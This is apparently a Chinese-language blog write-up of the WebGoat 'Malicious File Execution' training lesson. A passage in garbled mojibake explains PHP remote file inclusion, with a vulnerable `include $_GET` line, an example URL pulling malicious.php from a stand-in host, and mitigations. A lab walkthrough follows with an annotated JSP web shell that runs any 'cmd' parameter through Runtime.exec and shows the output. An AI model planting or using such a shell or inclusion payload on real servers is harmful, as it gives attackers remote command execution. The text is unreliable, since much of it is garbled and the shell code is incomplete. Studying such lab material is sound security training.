Webgoat 笔记总结 Malicious execution

Malicious execution

Malicious File Execution(�阂獬淌�绦�),�W站引入�碜酝獠康�n案,�K且�绦衅�热荩�若引入�阂獬淌酱a或�阂膺B�Y到正常�W�中,其他�g�[同一�W站的使用者也�⑸钍芷浜Γ�遭到�阂獬淌降娜肭郑�甚至成�轳�客的魁儡。

Malicious File Execution攻�羰址ù蠖喟l生於PHP�W站程式�Z言上。

常�缺失

一般最常�的弱�c程式�a,利用GET方式取得引入的�n案

<?php

include $_GET[‘filename’];

?>

若使用下列URL存取有弱�c的�W站

http://hostname/index.php?filename=http://malicious_host/malicious.php

此�r,程式����x取�阂饩W站�e的malicious.php�n案,若此�n案含有�阂獬淌酱a,�t��造�W站受害。

解�Q方式

一般在做�o�B�z�y很�y�z�y程式��引入哪些�n案,所以防�Malicious File Execution攻�簦�必�由程式�O���下手。
1. �z查�_�⒒蜃x取�n案的部分是否使用使用者�入字串
�理�c�n案有�P的函式,如include()、fopen()、readfile()、require()…等,避免引用使用者可�入的字串。

2. ��allow_url_fopen�O成off直接於php.ini中加入allow_url_fopen=off

演示
目的:

下面的表格允许你上传一个图像将显示在这个页面。像这样的特性通常被发现在基于web的论坛和社交网站。这个特性是容易受到恶意文件执行。

为了通过这个lession、上传和运行一个恶意文件。为了证明你的文件可执行,它应该创建另一个文件命名

我们要通过其对文件的类型的限制不完全,我们就可以上传一些可以执行的程序来进行我们要去做的攻击

比如是:我们要创建一个文件的目的

? 上传个jsp马
clip_image002
<!--实现cmd功能的JSP小木马(作者: XX-->

? <%@ page contentType="text/html;charset=gb2312"%>

? <!--编码方式为gb2312(中文),否则会出现中文显示为乱码的情况-->

? <%@ page import="java.io.*"%>

? <!--引入java.io.*包文件,因为我们需要StringBuffer之类的I/O操作-->

? <%

? //定义一个字符串变量strCmd_in,且这个变量是从cmd对象中获取到的值;requestJSP中内置的对象,用来获取对象的值。

? String strCmd_in = request.getParameter("cmd");

? //定义字符串初始值为空的变量myLinemyLine是我们在界面输入框中的命令

? String myLine = "";

? //定义一个Buffer,用来读取我们的输入框中的命令并返回结果

? StringBuffer strBufCmd = new StringBuffer("");

? //如果strCmd_in不为Null就执

? if (strCmd_in != null)

? { /* java非常先进的地方之一就是引入了异常处理机制(try/catch),这样调试程序就显得非常轻松了,而且我们编写出来的程序也安全了很多*/

? try

? { //新建一个Process对象,利用Runtime执行(exec)获取到的命令,其实最主要的一句就是这个了,唯一最主要的方法了

? Process pro = Runtime.getRuntime().exec("cmd /c " + strCmd_in);

? //新建一个BufferedReader对象,用来读取我们输入的命

? BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));

? while ((myLine = buf.readLine()) != null)

? {

? //获取到的命令追加到变量myLine后面并换行

? strBufCmd.append(myLine + "\r\n");

? clip_image004

? %>

? <!--空格-->

? <!--定义一个TEXTAREA类型的返回界面框,默认是20-->

? <TEXTAREA NAME="MyView" ROWS="20" COLS="100%"><%=strBufCmd.toString()%></TEXTAREA>

? <br>

? <!--空格-->

? <%

? }

? %>

?

localhost/webgoat/uploads/xiao.jsp
运行马
clip_image006
执行
clip_image008

你可能感兴趣的:(target,execution,blank,的)